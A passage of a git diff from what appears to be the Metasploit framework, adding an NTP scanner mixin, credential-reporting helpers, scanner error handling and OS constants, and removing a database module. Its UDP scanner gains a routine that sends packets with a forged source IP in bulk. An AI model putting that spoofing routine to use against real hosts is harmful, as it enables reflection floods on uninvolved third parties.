Rex::Parser.nokogiri_loaded + if Rex::Parser.nokogiri_loaded && framework.db.active wspace = framework.db.find_workspace(datastore['WORKSPACE']) wspace ||= framework.db.workspace import_args = { :data => nmap_data, :wspace => wspace } diff --git a/lib/msf/core/auxiliary/ntp.rb b/lib/msf/core/auxiliary/ntp.rb new file mode 100644 index 0000000000..8551555b4d --- /dev/null +++ b/lib/msf/core/auxiliary/ntp.rb @@ -0,0 +1,44 @@ +# -*- coding: binary -*- +require 'rex/proto/ntp' +require 'msf/core/exploit' +module Msf + +### +# +# This module provides methods for working with NTP +# +### +module Auxiliary::NTP + + include Exploit::Capture + include Auxiliary::Scanner + + # + # Initializes an instance of an auxiliary module that uses NTP + # + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(123), + ], self.class) + + register_advanced_options( + [ + OptInt.new('VERSION', [true, 'Use this NTP version', 2]), + OptInt.new('IMPLEMENTATION', [true, 'Use this NTP mode 7 implementation', 3]) + ], self.class) + end + + # Called for each IP in the batch + def scan_host(ip) + if spoofed? + datastore['ScannerRecvWindow'] = 0 + scanner_spoof_send(@probe, ip, datastore['RPORT'], datastore['SRCIP'], datastore['NUM_REQUESTS']) + else + scanner_send(@probe, ip, datastore['RPORT']) + end + end +end +end diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 53e18d9fe2..0f9b3ec3f0 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -8,10 +8,45 @@ module Msf ### module Auxiliary::Report + extend Metasploit::Framework::Require + optionally_include_metasploit_credential_creation - def initialize(info = {}) - super + def create_cracked_credential(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def create_credential(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def create_credential_login(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def invalidate_login(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + # This method overrides the method from Metasploit::Credential to check for an active db + def active_db? + framework.db.active end # Shortcut method for detecting when the DB is active @@ -23,6 +58,18 @@ module Auxiliary::Report @myworkspace = framework.db.find_workspace(self.workspace) end + # This method safely get the workspace ID. It handles if the db is not active + # + # @return [NilClass] if there is no DB connection + # @return [Fixnum] the ID of the current {Mdm::Workspace} + def myworkspace_id + if framework.db.active + myworkspace.id + else + nil + end + end + def mytask if self[:task] return self[:task].record @@ -110,13 +157,102 @@ module Auxiliary::Report framework.db.report_note(opts) end + # This Legacy method is responsible for creating credentials from data supplied + # by a module. This method is deprecated and the new Metasploit::Credential methods + # should be used directly instead. + # + # @param :opts [Hash] the option hash + # @option opts [String] :host the address of the host (also takes a {Mdm::Host}) + # @option opts [Fixnum] :port the port of the connected service + # @option opts [Mdm::Service] :service an optional Service object to build the cred for + # @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key") + # @option opts [String] :proto Which transport protocol the service uses + # @option opts [String] :sname The 'name' of the service + # @option opts [String] :user The username for the cred + # @option opts [String] :pass The private part of the credential (e.g. password) def report_auth_info(opts={}) + print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!" return if not db - opts = { - :workspace => myworkspace, - :task => mytask - }.merge(opts) - framework.db.report_auth_info(opts) + raise ArgumentError.new("Missing required option :host") if opts[:host].nil? + raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?) + + if opts[:host].kind_of?(::Mdm::Host) + host = opts[:host].address + else + host = opts[:host] + end + + type = :password + case opts[:type] + when "password" + type = :password + when "hash" + type = :nonreplayable_hash + when "ssh_key" + type = :ssh_key + end + + case opts[:proto] + when "tcp" + proto = "tcp" + when "udp" + proto = "udp" + else + proto = "tcp" + end + + if opts[:service] && opts[:service].kind_of?(Mdm::Service) + port = opts[:service].port + proto = opts[:service].proto + service_name = opts[:service].name + host = opts[:service].host.address + else + port = opts.fetch(:port) + service_name = opts.fetch(:sname, nil) + end + + username = opts.fetch(:user, nil) + private = opts.fetch(:pass, nil) + + service_data = { + address: host, + port: port, + service_name: service_name, + protocol: proto, + workspace_id: myworkspace_id + } + + if self.type == "post" + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname + } + else + credential_data = { + origin_type: :service, + module_fullname: self.fullname + } + credential_data.merge!(service_data) + end + + unless private.nil? + credential_data[:private_type] = type + credential_data[:private_data] = private + end + + unless username.nil? + credential_data[:username] = username + end + + credential_core = create_credential(credential_data) + + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end def report_vuln(opts={}) @@ -215,7 +351,7 @@ module Auxiliary::Report end case ctype - when "text/plain" + when /^text\/[\w\.]+$/ ext = "txt" end # This method is available even if there is no database, don't bother checking @@ -337,7 +473,7 @@ module Auxiliary::Report cred_opts = opts.merge(:workspace => myworkspace) cred_host = myworkspace.hosts.find_by_address(cred_opts[:host]) unless opts[:port] - possible_services = myworkspace.services.find_all_by_host_id_and_name(cred_host[:id],cred_opts[:sname]) + possible_services = myworkspace.services.where(host_id: cred_host[:id], name: cred_opts[:sname]) case possible_services.size when 0 case cred_opts[:sname].downcase @@ -378,7 +514,7 @@ module Auxiliary::Report end end if opts[:collect_session] - session = myworkspace.sessions.find_all_by_local_id(opts[:collect_session]).last + session = myworkspace.sessions.where(local_id: opts[:collect_session]).last if !session.nil? cred_opts[:source_id] = session.id cred_opts[:source_type] = "exploit" @@ -387,6 +523,9 @@ module Auxiliary::Report print_status "Collecting #{cred_opts[:user]}:#{cred_opts[:pass]}" framework.db.report_auth_info(cred_opts) end + + + end end diff --git a/lib/msf/core/auxiliary/rservices.rb b/lib/msf/core/auxiliary/rservices.rb index 9d7e09a768..3313786bed 100644 --- a/lib/msf/core/auxiliary/rservices.rb +++ b/lib/msf/core/auxiliary/rservices.rb @@ -35,7 +35,7 @@ module Auxiliary::RServices begin sd = connect(true, { 'CPORT' => cport }) - rescue Rex::AddressInUse + rescue Rex::BindFailed # Ignore and try again #vprint_error("Unable to connect: #{$!}") diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index fade61b0ea..ac4991cbf0 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -57,11 +57,18 @@ def run threads_max = datastore['THREADS'].to_i @tl = [] + @scan_errors = [] # - # Sanity check threading on different platforms + # Sanity check threading given different conditions # + if datastore['CPORT'].to_i != 0 && threads_max > 1 + print_error("Warning: A maximum of one thread is possible when a source port is set (CPORT)") + print_error("Thread count has been adjusted to 1") + threads_max = 1 + end + if(Rex::Compat.is_windows) if(threads_max > 16) print_error("Warning: The Windows platform cannot reliably support more than 16 threads") @@ -81,17 +88,22 @@ def run begin if (self.respond_to?('run_range')) - # No automated progress reporting for run_range + # No automated progress reporting or error handling for run_range return run_range(datastore['RHOSTS']) end if (self.respond_to?('run_host')) - @tl = [] - loop do + # Stop scanning if we hit a fatal error + break if has_fatal_errors? + # Spawn threads for each host while (@tl.length < threads_max) + + # Stop scanning if we hit a fatal error + break if has_fatal_errors? + ip = ar.next_ip break if not ip @@ -102,6 +114,10 @@ def run begin nmod.run_host(targ) + rescue ::Rex::BindFailed + if datastore['CHOST'] + @scan_errors << "The source IP (CHOST) value of #{datastore['CHOST']} was not usable" + end rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError raise $! @@ -114,6 +130,9 @@ def run end end + # Stop scanning if we hit a fatal error + break if has_fatal_errors? + # Exit once we run out of hosts if(@tl.length == 0) break @@ -133,6 +152,7 @@ def run scanner_show_progress() if @show_progress end + scanner_handle_fatal_errors return end @@ -147,10 +167,12 @@ def run ar = Rex::Socket::RangeWalker.new(datastore['RHOSTS']) - @tl = [] - while(true) nohosts = false + + # Stop scanning if we hit a fatal error + break if has_fatal_errors? + while (@tl.length < threads_max) batch = [] @@ -172,6 +194,10 @@ def run mybatch = bat.dup begin nmod.run_batch(mybatch) + rescue ::Rex::BindFailed + if datastore['CHOST'] + @scan_errors << "The source IP (CHOST) value of #{datastore['CHOST']} was not usable" + end rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error rescue ::Interrupt,::NoMethodError, ::RuntimeError, ::ArgumentError, ::NameError raise $! @@ -191,6 +217,9 @@ def run end end + # Stop scanning if we hit a fatal error + break if has_fatal_errors? + # Exit if there are no more pending threads if (@tl.length == 0) break @@ -212,6 +241,7 @@ def run scanner_show_progress() if @show_progress end + scanner_handle_fatal_errors return end @@ -234,17 +264,38 @@ def seppuko! end end +def has_fatal_errors? + @scan_errors && !@scan_errors.empty? +end + +def scanner_handle_fatal_errors + return unless has_fatal_errors? + return unless @tl + + # First kill any running threads + @tl.each {|t| t.kill if t.alive? } + + # Show the unique errors triggered by the scan + uniq_errors = @scan_errors.uniq + uniq_errors.each do |emsg| + print_error("Fatal: #{emsg}") + end + print_error("Scan terminated due to #{uniq_errors.size} fatal error(s)") +end + def scanner_progress return 0 unless @range_done and @range_count pct = (@range_done / @range_count.to_f) * 100 end def scanner_show_progress + # it should already be in the process of shutting down if there are fatal errors + return if has_fatal_errors? pct = scanner_progress - if(pct >= (@range_percent + @show_percent)) + if pct >= (@range_percent + @show_percent) @range_percent = @range_percent + @show_percent tdlen = @range_count.to_s.length - print_status("Scanned #{"%.#{tdlen}d" % @range_done} of #{@range_count} hosts (#{"%.3d" % pct.to_i}% complete)") + print_status(sprintf("Scanned %#{tdlen}d of %d hosts (%d%% complete)", @range_done, @range_count, pct)) end end diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index 2891c0da72..27950bf9e7 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -8,33 +8,36 @@ module Msf # ### module Auxiliary::UDPScanner - include Auxiliary::Scanner + # A hash of results of a given batch run, keyed by host + attr_accessor :results + # # Initializes an instance of an auxiliary module that scans UDP # - def initialize(info = {}) super register_options( [ - Opt::CHOST, + Opt::RPORT, OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), + OptInt.new('THREADS', [true, "The number of concurrent threads", 10]) ], self.class) register_advanced_options( [ + Opt::CHOST, + Opt::CPORT, OptInt.new('ScannerRecvInterval', [true, 'The maximum numbers of sends before entering the processing loop', 30]), OptInt.new('ScannerMaxResends', [true, 'The maximum times to resend a packet when out of buffers', 10]), OptInt.new('ScannerRecvQueueLimit', [true, 'The maximum queue size before breaking out of the processing loop', 100]), - OptInt.new('ScannerRecvWindow', [true, 'The number of seconds to wait post-scan to catch leftover replies', 15]), + OptInt.new('ScannerRecvWindow', [true, 'The number of seconds to wait post-scan to catch leftover replies', 15]) ], self.class) end - # Define our batch size def run_batch_size datastore['BATCHSIZE'].to_i @@ -44,6 +47,7 @@ module Auxiliary::UDPScanner def run_batch(batch) @udp_sock = Rex::Socket::Udp.create({ 'LocalHost' => datastore['CHOST'] || nil, + 'LocalPort' => datastore['CPORT'] || 0, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }) add_socket(@udp_sock) @@ -69,6 +73,24 @@ module Auxiliary::UDPScanner scanner_postscan(batch) end + # Send a spoofed packet to a given host and port + def scanner_spoof_send(data, ip, port, srcip, num_packets=1) + open_pcap + p = PacketFu::UDPPacket.new + p.ip_saddr = srcip + p.ip_daddr = ip + p.ip_ttl = 255 + p.udp_src = (rand((2**16)-1024)+1024).to_i + p.udp_dst = port + p.payload = data + p.recalc + print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}") + 1.upto(num_packets) do |x| + capture_sendto(p, ip) + end + close_pcap + end + # Send a packet to a given host and port def scanner_send(data, ip, port) @@ -137,12 +159,25 @@ module Auxiliary::UDPScanner queue.length end + def cport + datastore['CPORT'] + end + + def rport + datastore['RPORT'] + end + # - # The including module override these methods + # The including module may override some of these methods # - # Called for each IP in the batch + # Builds and returns the probe to be sent + def build_probe + end + + # Called for each IP in the batch. This will send all necessary probes. def scan_host(ip) + scanner_send(build_probe, ip, rport) end # Called for each response packet @@ -151,11 +186,12 @@ module Auxiliary::UDPScanner # Called before the scan block def scanner_prescan(batch) + vprint_status("Sending probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @results = {} end # Called after the scan block def scanner_postscan(batch) end - end end diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index 1bbe5cd809..0a5fbaa2a2 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/analysis/taint.rb b/lib/msf/core/auxiliary/web/analysis/taint.rb index e513d34da7..1be14dbd85 100644 --- a/lib/msf/core/auxiliary/web/analysis/taint.rb +++ b/lib/msf/core/auxiliary/web/analysis/taint.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb index d307d2db83..ed0dc6042a 100644 --- a/lib/msf/core/auxiliary/web/analysis/timing.rb +++ b/lib/msf/core/auxiliary/web/analysis/timing.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/form.rb b/lib/msf/core/auxiliary/web/form.rb index 6dbc16dbf0..130b0fe0b3 100644 --- a/lib/msf/core/auxiliary/web/form.rb +++ b/lib/msf/core/auxiliary/web/form.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/fuzzable.rb b/lib/msf/core/auxiliary/web/fuzzable.rb index c98176f62c..07ae5ae284 100644 --- a/lib/msf/core/auxiliary/web/fuzzable.rb +++ b/lib/msf/core/auxiliary/web/fuzzable.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 495180f67c..45c91883ce 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/path.rb b/lib/msf/core/auxiliary/web/path.rb index 889e72e38b..07ab99694e 100644 --- a/lib/msf/core/auxiliary/web/path.rb +++ b/lib/msf/core/auxiliary/web/path.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/target.rb b/lib/msf/core/auxiliary/web/target.rb index b606ab0b4f..fd4fc593ff 100644 --- a/lib/msf/core/auxiliary/web/target.rb +++ b/lib/msf/core/auxiliary/web/target.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/constants.rb b/lib/msf/core/constants.rb index d000aeb4cb..2e2473fbe7 100644 --- a/lib/msf/core/constants.rb +++ b/lib/msf/core/constants.rb @@ -58,14 +58,17 @@ module HttpClients UNKNOWN = "Unknown" end + module OperatingSystems LINUX = "Linux" MAC_OSX = "Mac OS X" - WINDOWS = "Microsoft Windows" + WINDOWS = "Windows" FREEBSD = "FreeBSD" NETBSD = "NetBSD" OPENBSD = "OpenBSD" VMWARE = "VMware" + ANDROID = "Android" + APPLE_IOS = "iOS" module VmwareVersions ESX = "ESX" @@ -73,17 +76,48 @@ module OperatingSystems end module WindowsVersions + NINE5 = "95" + NINE8 = "98" NT = "NT" XP = "XP" TWOK = "2000" TWOK3 = "2003" VISTA = "Vista" TWOK8 = "2008" + TWOK12 = "2012" SEVEN = "7" EIGHT = "8" + EIGHTONE = "8.1" end UNKNOWN = "Unknown" + + module Match + WINDOWS = /^(?:Microsoft )?Windows/ + WINDOWS_95 = /^(?:Microsoft )?Windows 95/ + WINDOWS_98 = /^(?:Microsoft )?Windows 98/ + WINDOWS_ME = /^(?:Microsoft )?Windows ME/ + WINDOWS_NT3 = /^(?:Microsoft )?Windows NT 3/ + WINDOWS_NT4 = /^(?:Microsoft )?Windows NT 4/ + WINDOWS_2000 = /^(?:Microsoft )?Windows 2000/ + WINDOWS_XP = /^(?:Microsoft )?Windows XP/ + WINDOWS_2003 = /^(?:Microsoft )?Windows 2003/ + WINDOWS_VISTA = /^(?:Microsoft )?Windows Vista/ + WINDOWS_2008 = /^(?:Microsoft )?Windows 2008/ + WINDOWS_7 = /^(?:Microsoft )?Windows 7/ + WINDOWS_2012 = /^(?:Microsoft )?Windows 2012/ + WINDOWS_8 = /^(?:Microsoft )?Windows 8/ + WINDOWS_81 = /^(?:Microsoft )?Windows 8\.1/ + + LINUX = /^Linux/i + MAC_OSX = /^(?:Apple )?Mac OS X/ + FREEBSD = /^FreeBSD/ + NETBSD = /^NetBSD/ + OPENBSD = /^OpenBSD/ + VMWARE = /^VMware/ + ANDROID = /^(?:Google )?Android/ + APPLE_IOS = /^(?:Apple )?iOS/ + end end end @@ -104,5 +138,4 @@ LICENSES = BSD_LICENSE, ARTISTIC_LICENSE, UNKNOWN_LICENSE - ] - + ] \ No newline at end of file diff --git a/lib/msf/core/database_event.rb b/lib/msf/core/database_event.rb new file mode 100644 index 0000000000..148a5dbd9e --- /dev/null +++ b/lib/msf/core/database_event.rb @@ -0,0 +1,34 @@ +# Events that can occur in the host/service database. +module Msf::DatabaseEvent + # Called when a new client is added to the database. The client + # parameter is of type Client. + def on_db_client(client) + end + + # Called when a new host is added to the database. The host parameter is + # of type Host. + def on_db_host(host) + end + + # Called when an existing host's state changes + def on_db_host_state(host, ostate) + end + + # Called when a new reference is created. + def on_db_ref(ref) + end + + # Called when a new service is added to the database. The service + # parameter is of type Service. + def on_db_service(service) + end + + # Called when an existing service's state changes + def on_db_service_state(host, port, ostate) + end + + # Called when an applicable vulnerability is found for a service. The vuln + # parameter is of type Vuln. + def on_db_vuln(vuln) + end +end diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb deleted file mode 100644 index e029fe8abe..0000000000 --- a/lib/msf/core/db.rb +++ /dev/null @@ -1,6335 +0,0 @@ -# -*- coding: binary -*- - -# -# Standard Library -# - -require 'csv' -require 'tmpdir' -require 'uri' -require 'zip' - -# -# -# Gems -# -# - -# -# PacketFu -# - -require 'packetfu' - -# -# Rex -# - - -require 'rex/socket' - -# Check Rex::Parser.nokogiri_loaded for status of the Nokogiri parsers -require 'rex/parser/acunetix_nokogiri' -require 'rex/parser/appscan_nokogiri' -require 'rex/parser/burp_session_nokogiri' -require 'rex/parser/ci_nokogiri' -require 'rex/parser/foundstone_nokogiri' -require 'rex/parser/fusionvm_nokogiri' -require 'rex/parser/mbsa_nokogiri' -require 'rex/parser/nexpose_raw_nokogiri' -require 'rex/parser/nexpose_simple_nokogiri' -require 'rex/parser/nmap_nokogiri' -require 'rex/parser/openvas_nokogiri' -require 'rex/parser/wapiti_nokogiri' -require 'rex/parser/outpost24_nokogiri' - -# Legacy XML parsers -- these will be converted some day -require 'rex/parser/ip360_aspl_xml' -require 'rex/parser/ip360_xml' -require 'rex/parser/nessus_xml' -require 'rex/parser/netsparker_xml' -require 'rex/parser/nexpose_xml' -require 'rex/parser/nmap_xml' -require 'rex/parser/retina_xml' - -# -# Project -# - -require 'msf/core/db_manager/import_msf_xml' - -module Msf - -### -# -# The states that a host can be in. -# -### -module HostState - # - # The host is alive. - # - Alive = "alive" - # - # The host is dead. - # - Dead = "down" - # - # The host state is unknown. - # - Unknown = "unknown" -end - -### -# -# The states that a service can be in. -# -### -module ServiceState - Open = "open" - Closed = "closed" - Filtered = "filtered" - Unknown = "unknown" -end - -### -# -# Events that can occur in the host/service database. -# -### -module DatabaseEvent - - # - # Called when an existing host's state changes - # - def on_db_host_state(host, ostate) - end - - # - # Called when an existing service's state changes - # - def on_db_service_state(host, port, ostate) - end - - # - # Called when a new host is added to the database. The host parameter is - # of type Host. - # - def on_db_host(host) - end - - # - # Called when a new client is added to the database. The client - # parameter is of type Client. - # - def on_db_client(client) - end - - # - # Called when a new service is added to the database. The service - # parameter is of type Service. - # - def on_db_service(service) - end - - # - # Called when an applicable vulnerability is found for a service. The vuln - # parameter is of type Vuln. - # - def on_db_vuln(vuln) - end - - # - # Called when a new reference is created. - # - def on_db_ref(ref) - end - -end - -class DBImportError < RuntimeError -end - -### -# -# The DB module ActiveRecord definitions for the DBManager -# -### -class DBManager - include Msf::DBManager::ImportMsfXml - - def rfc3330_reserved(ip) - case ip.class.to_s - when "PacketFu::Octets" - ip_x = ip.to_x - ip_i = ip.to_i - when "String" - if ipv46_validator(ip) - ip_x = ip - ip_i = Rex::Socket.addr_atoi(ip) - else - raise ArgumentError, "Invalid IP address: #{ip.inspect}" - end - when "Fixnum" - if (0..2**32-1).include? ip - ip_x = Rex::Socket.addr_itoa(ip) - ip_i = ip - else - raise ArgumentError, "Invalid IP address: #{ip.inspect}" - end - else - raise ArgumentError, "Invalid IP address: #{ip.inspect}" - end - return true if Rex::Socket::RangeWalker.new("0.0.0.0-0.255.255.255").include? ip_x - return true if Rex::Socket::RangeWalker.new("127.0.0.0-127.255.255.255").include? ip_x - return true if Rex::Socket::RangeWalker.new("169.254.0.0-169.254.255.255").include? ip_x - return true if Rex::Socket::RangeWalker.new("224.0.0.0-239.255.255.255").include? ip_x - return true if Rex::Socket::RangeWalker.new("255.255.255.255-255.255.255.255").include? ip_x - return false - end - - def ipv46_validator(addr) - ipv4_validator(addr) or ipv6_validator(addr) - end - - def ipv4_validator(addr) - return false unless addr.kind_of? String - Rex::Socket.is_ipv4?(addr) - end - - def ipv6_validator(addr) - Rex::Socket.is_ipv6?(addr) - end - - # Takes a space-delimited set of ips and ranges, and subjects - # them to RangeWalker for validation. Returns true or false. - def validate_ips(ips) - ret = true - begin - ips.split(/\s+/).each {|ip| - unless Rex::Socket::RangeWalker.new(ip).ranges - ret = false - break - end - } - rescue - ret = false - end - return ret - end - - - # - # Determines if the database is functional - # - def check - ::ActiveRecord::Base.connection_pool.with_connection { - res = ::Mdm::Host.find(:first) - } - end - - - def default_workspace - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Workspace.default - } - end - - def find_workspace(name) - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Workspace.find_by_name(name) - } - end - - # - # Creates a new workspace in the database - # - def add_workspace(name) - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Workspace.find_or_create_by_name(name) - } - end - - def workspaces - ::ActiveRecord::Base.connection_pool.with_connection { - ::Mdm::Workspace.find(:all) - } - end - - # - # Wait for all pending write to finish - # - def sync - # There is no more queue. - end - - # - # Find a host. Performs no database writes. - # - def get_host(opts) - if opts.kind_of? ::Mdm::Host - return opts - elsif opts.kind_of? String - raise RuntimeError, "This invokation of get_host is no longer supported: #{caller}" - else - address = opts[:addr] || opts[:address] || opts[:host] || return - return address if address.kind_of? ::Mdm::Host - end - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - if wspace.kind_of? String - wspace = find_workspace(wspace) - end - - address = normalize_host(address) - return wspace.hosts.find_by_address(address) - } - end - - # - # Exactly like report_host but waits for the database to create a host and returns it. - # - def find_or_create_host(opts) - report_host(opts) - end - - # - # Report a host's attributes such as operating system and service pack - # - # The opts parameter MUST contain - # +:host+:: -- the host's ip address - # - # The opts parameter can contain: - # +:state+:: -- one of the Msf::HostState constants - # +:os_name+:: -- one of the Msf::OperatingSystems constants - # +:os_flavor+:: -- something like "XP" or "Gentoo" - # +:os_sp+:: -- something like "SP2" - # +:os_lang+:: -- something like "English", "French", or "en-US" - # +:arch+:: -- one of the ARCH_* constants - # +:mac+:: -- the host's MAC address - # +:scope+:: -- interface identifier for link-local IPv6 - # +:virtual_host+:: -- the name of the VM host software, eg "VMWare", "QEMU", "Xen", etc. - # - def report_host(opts) - - return if not active - addr = opts.delete(:host) || return - - # Sometimes a host setup through a pivot will see the address as "Remote Pipe" - if addr.eql? "Remote Pipe" - return - end - - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - if wspace.kind_of? String - wspace = find_workspace(wspace) - end - - ret = { } - - if not addr.kind_of? ::Mdm::Host - addr = normalize_host(addr) - addr, scope = addr.split('%', 2) - opts[:scope] = scope if scope - - unless ipv46_validator(addr) - raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}" - end - - if opts[:comm] and opts[:comm].length > 0 - host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm]) - else - host = wspace.hosts.find_or_initialize_by_address(addr) - end - else - host = addr - end - - # Truncate the info field at the maximum field length - if opts[:info] - opts[:info] = opts[:info][0,65535] - end - - # Truncate the name field at the maximum field length - if opts[:name] - opts[:name] = opts[:name][0,255] - end - - opts.each { |k,v| - if (host.attribute_names.include?(k.to_s)) - unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') - end - else - dlog("Unknown attribute for ::Mdm::Host: #{k}") - end - } - host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info - - # Set default fields if needed - host.state = HostState::Alive if not host.state - host.comm = '' if not host.comm - host.workspace = wspace if not host.workspace - - if host.changed? - msf_import_timestamps(opts,host) - host.save! - end - - if opts[:task] - Mdm::TaskHost.create( - :task => opts[:task], - :host => host - ) - end - - host - } - end - - - # - # Update a host's attributes via semi-standardized sysinfo hash (Meterpreter) - # - # The opts parameter MUST contain the following entries - # +:host+:: -- the host's ip address - # +:info+:: -- the information hash - # * 'Computer' -- the host name - # * 'OS' -- the operating system string - # * 'Architecture' -- the hardware architecture - # * 'System Language' -- the system language - # - # The opts parameter can contain: - # +:workspace+:: -- the workspace for this host - # - def update_host_via_sysinfo(opts) - - return if not active - addr = opts.delete(:host) || return - info = opts.delete(:info) || return - - # Sometimes a host setup through a pivot will see the address as "Remote Pipe" - if addr.eql? "Remote Pipe" - return - end - - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - if wspace.kind_of? String - wspace = find_workspace(wspace) - end - - if not addr.kind_of? ::Mdm::Host - addr = normalize_host(addr) - addr, scope = addr.split('%', 2) - opts[:scope] = scope if scope - - unless ipv46_validator(addr) - raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}" - end - - if opts[:comm] and opts[:comm].length > 0 - host = wspace.hosts.find_or_initialize_by_address_and_comm(addr, opts[:comm]) - else - host = wspace.hosts.find_or_initialize_by_address(addr) - end - else - host = addr - end - - res = {} - - if info['Computer'] - res[:name] = info['Computer'] - end - - if info['Architecture'] - res[:arch] = info['Architecture'].split(/\s+/).first - end - - if info['OS'] =~ /^Windows\s*([^\(]+)\(([^\)]+)\)/i - res[:os_name] = "Microsoft Windows" - res[:os_flavor] = $1.strip - build = $2.strip - - if build =~ /Service Pack (\d+)/ - res[:os_sp] = "SP" + $1 - else - res[:os_sp] = "SP0" - end - end - - if info["System Language"] - case info["System Language"] - when /^en_/ - res[:os_lang] = "English" - end - end - - - # Truncate the info field at the maximum field length - if res[:info] - res[:info] = res[:info][0,65535] - end - - # Truncate the name field at the maximum field length - if res[:name] - res[:name] = res[:name][0,255] - end - - res.each { |k,v| - - if (host.attribute_names.include?(k.to_s)) - unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') - end - else - dlog("Unknown attribute for Host: #{k}") - end - } - - # Set default fields if needed - host.state = HostState::Alive if not host.state - host.comm = '' if not host.comm - host.workspace = wspace if not host.workspace - - if host.changed? - host.save! - end - - host - } - end - # - # Iterates over the hosts table calling the supplied block with the host - # instance of each entry. - # - def each_host(wspace=workspace, &block) - ::ActiveRecord::Base.connection_pool.with_connection { - wspace.hosts.each do |host| - block.call(host) - end - } - end - - # - # Returns a list of all hosts in the database - # - def hosts(wspace = workspace, only_up = false, addresses = nil) - ::ActiveRecord::Base.connection_pool.with_connection { - conditions = {} - conditions[:state] = [Msf::HostState::Alive, Msf::HostState::Unknown] if only_up - conditions[:address] = addresses if addresses - wspace.hosts.where(conditions).order(:address) - } - end - - - - def find_or_create_service(opts) - report_service(opts) - end - - # - # Record a service in the database. - # - # opts MUST contain - # +:host+:: the host where this service is running - # +:port+:: the port where this service listens - # +:proto+:: the transport layer protocol (e.g. tcp, udp) - # - # opts may contain - # +:name+:: the application layer protocol (e.g. ssh, mssql, smb) - # +:sname+:: an alias for the above - # - def report_service(opts) - return if not active - 